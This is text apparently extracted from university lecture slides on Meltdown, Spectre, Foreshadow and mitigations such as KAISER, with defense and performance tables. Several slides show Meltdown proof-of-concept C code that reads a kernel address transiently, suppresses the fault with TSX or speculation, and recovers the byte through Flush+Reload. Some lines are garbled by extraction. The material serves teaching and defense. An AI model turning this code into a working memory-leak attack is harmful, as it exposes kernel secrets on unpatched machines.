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Marketing... www.tugraz.at

• Why do you have a website?→ Inform journalists and the general public

• Otherwise: completely misleading presentation of your work in the media

→ defend yourself against misleading presentations!

• Why do you have fancy names? → what was CVE-2017-5754 again?

• People will throw things together that don’t belong together

→ Names enable unambiguous communication

• Why do you need a logo?

• Otherwise: media makes their own → no control over how inappropriate these are
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Side Channel or not? www.tugraz.at

• Profiling cache utilization with performance counters? → No

• Observing cache utilization with performance counters and

using it to infer a crypto key? → Yes

• Measuring memory access latency with Flush+Reload? → No

• Measuring memory access latency with Flush+Reload and using

it to infer keystroke timings? → Yes
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Speculative Side-Channel Attacks? www.tugraz.at

sid
e

ch
an

nels

• traditional cache attacks (crypto, keys, etc)

• actual misspeculation (e.g., branch

misprediction)

• Meltdown, Foreshadow, ZombieLoad, etc

• Let’s avoid the term Speculative

Side-Channel Attacks

• Let’s be more precise

• → then we can think about actual mitigations
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Speculative Side-Channel Attacks? www.tugraz.at

sid
e

ch
an

nels Spectre

Meltdown

Bug fixing
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Back to Work







Wait for an hour



Wait for an hour

LATENCY





Parallelize
D
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Out-of-order Execution www.tugraz.at

int width = 10, height = 5;

float diagonal = sqrt(width * width

+ height * height);

int area = width * height;

printf("Area %d x %d = %d\n", width , height , area);

7 Daniel Gruss — Graz University of Technology
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Building Meltdown www.tugraz.at

*( volatile char*) 0;

array [84 * 4096] = 0;

8 Daniel Gruss — Graz University of Technology



Building Meltdown www.tugraz.at

• Flush+Reload over all pages of the array

0 50 100 150 200 250

300

400

500

Page
A

cc
es

s
ti

m
e

[c
yc

le
s]

• “Unreachable” code line was actually executed

• Exception was only thrown afterwards
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Building Meltdown www.tugraz.at

• Out-of-order instructions leave microarchitectural traces

• We can see them for example through the cache

• Give such instructions a name: transient instructions

• We can indirectly observe the execution of transient instructions
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Building Meltdown www.tugraz.at

• Add another layer of indirection to test

char data = *(char*) 0xffffffff81a000e0;

array[data * 4096] = 0;

• Then check whether any part of array is cached
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Details: Exception Handling www.tugraz.at

• Basic Meltdown code leads to a crash (segfault)

• How to prevent the crash?

Fault

Handling

Fault

Suppression

Fault

Prevention
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Meltdown with Fault Suppression www.tugraz.at

• Intel TSX to suppress exceptions instead of signal handler

if(xbegin () == XBEGIN_STARTED) {

char secret = *(char*) 0xffffffff81a000e0;

array[secret * 4096] = 0;

xend();

}

for (size_t i = 0; i < 256; i++) {

if (flush_and_reload(array + i * 4096) == CACHE_HIT) {

printf("%c\n", i);

}

}

17 Daniel Gruss — Graz University of Technology



Meltdown with Fault Prevention www.tugraz.at

• Speculative execution to prevent exceptions

int speculate = rand() % 2;

size_t address = (0 xffffffff81a000e0 * speculate) +

(( size_t)&zero * (1 - speculate));

if(! speculate) {

char secret = *(char*) address;

array[secret * 4096] = 0;

}

for (size_t i = 0; i < 256; i++) {

if (flush_and_reload(array + i * 4096) == CACHE_HIT) {

printf("%c\n", i);

}

}
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Foreshadow / Foreshadow-NG1 www.tugraz.at

1Jo Van Bulck et al. Foreshadow: Extracting the Keys to the Intel SGX Kingdom with Transient

Out-of-Order Execution. In: USENIX Security Symposium. 2018.

19 Daniel Gruss — Graz University of Technology



L1TF/Foreshadow Demo





Kernel Address Isolation to have Side channels Efficiently Removed



Kernel Address Isolation to have Side channels Efficiently Removed

KAISER /ˈkʌɪzə/
1. [german] Emperor,
ruler of an empire
2. largest penguin, 
emperor penguin



KAISER Illustration www.tugraz.at

Without KAISER:

Shared address space

User memory Kernel memory

0 −1

context switch

With KAISER:

User address space

User memory Not mapped

0 −1

Kernel address space

SMAP + SMEP Kernel memory

0 −1

context switch

sw
itch

a
d
d
r.

sp
a
ce

Interrupt

dispatcher
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KAISER (Stronger Kernel Isolation) Patches www.tugraz.at

• Our patch

• Adopted in

Linux

• Adopted in

Windows

• Adopted in

OSX/iOS

→ now in every computer
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Speculative Cooking
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Spectre-PHT (v1) www.tugraz.at

LUT index = 0;

if (index < 4)

char* data = "textKEY";

LUT[data[index] * 4096] 0

th
en

else

Prediction

Spectre-STL (v4): Ignore sanitizing write access and use unsanitized old value instead
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• v1.1: Speculatively write to memory locations

→ Many more gadgets than previously anticipated n

• v1.2: Ignore writable bit

→ = Meltdown-RW

2Vladimir Kiriansky et al. Speculative Buffer Overflows: Attacks and Defenses. In: arXiv:1807.03757

(2018).
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BTB-CA-OP [54]

BTB-SA-IP ⭑

BTB-SA-OP [18]Cross-address-space

Same-address-space RSB-CA-IP [64, 56]

RSB-CA-OP [56]

RSB-SA-IP [64]

RSB-SA-OP [64, 56]

Meltdown-NM [86]

Meltdown-AC ⭐

Meltdown-DE ⭐

Meltdown-PF

Meltdown-UD ⭐

Meltdown-SS ⭐

Meltdown-BR

Meltdown-GP [10, 41]

Meltdown-US [61]

Meltdown-P [93, 96]

Meltdown-RW [52]

Meltdown-PK ⭑

Meltdown-XD ⭐

Meltdown-SM ⭐

Meltdown-MPX [44]
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Table 1: Spectre-type defenses and what they mitigate.
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AMD
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Symbols show if an attack is mitigated ( ), partially mitigated ( ), not mitigated ( ), theoretically

mitigated ( ), theoretically impeded ( ), not theoretically impeded ( ), or out of scope ( ).
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Table 2: Reported performance impacts of countermeasures

Defense

Impact
Performance Loss Benchmark

InvisiSpec 22% SPEC

SafeSpec 3% (improvement) SPEC2017 on MARSSx86

DAWG 2–12%, 1–15% PARSEC, GAPBS

RSB Stuffing no reports

Retpoline 5–10% real-world workload servers

Site Isolation only memory overhead

SLH 36.4%, 29% Google microbenchmark suite

YSNB 60% Phoenix

IBRS 20–30% two sysbench 1.0.11 benchmarks

STIPB 30– 50% Rodinia OpenMP, DaCapo

IBPB no individual reports

Serialization 62%, 74.8% Google microbenchmark suite

SSBD/SSBB 2–8% SYSmark R©2014 SE & SPEC integer

KAISER/KPTI 0–2.6% system call rates

L1TF mitigations -3–31% various SPEC
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Just a few examples:

• Remote timing attacks on crypto ([Ber04; BB05] and many

more)

• ThrowHammer and NetHammer

• NetSpectre
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How did we get here? www.tugraz.at

We have ignored microarchitectural attacks for many years:

• attacks on crypto → “software should be fixed”

• attacks on ASLR → “ASLR is broken anyway”

• attacks on SGX and TrustZone → “not part of the threat model”

• Rowhammer → “only affects cheap sub-standard modules”

→ for years we solely optimized for performance
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... and we’re still optimizing for performance www.tugraz.at

• lower refresh rate = lower energy but more bit flips

• ECC memory → fewer bit flips

→ it’s an optimization problem

• what if “too aggressive” changes over time?

→ difficult to optimize with an intelligent adversary
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Conclusions www.tugraz.at

• new class of software-based attacks

• many problems to solve around microarchitectural attacks and

especially transient execution attacks

• dedicate more time into identifying problems and not solely in

mitigating known problems
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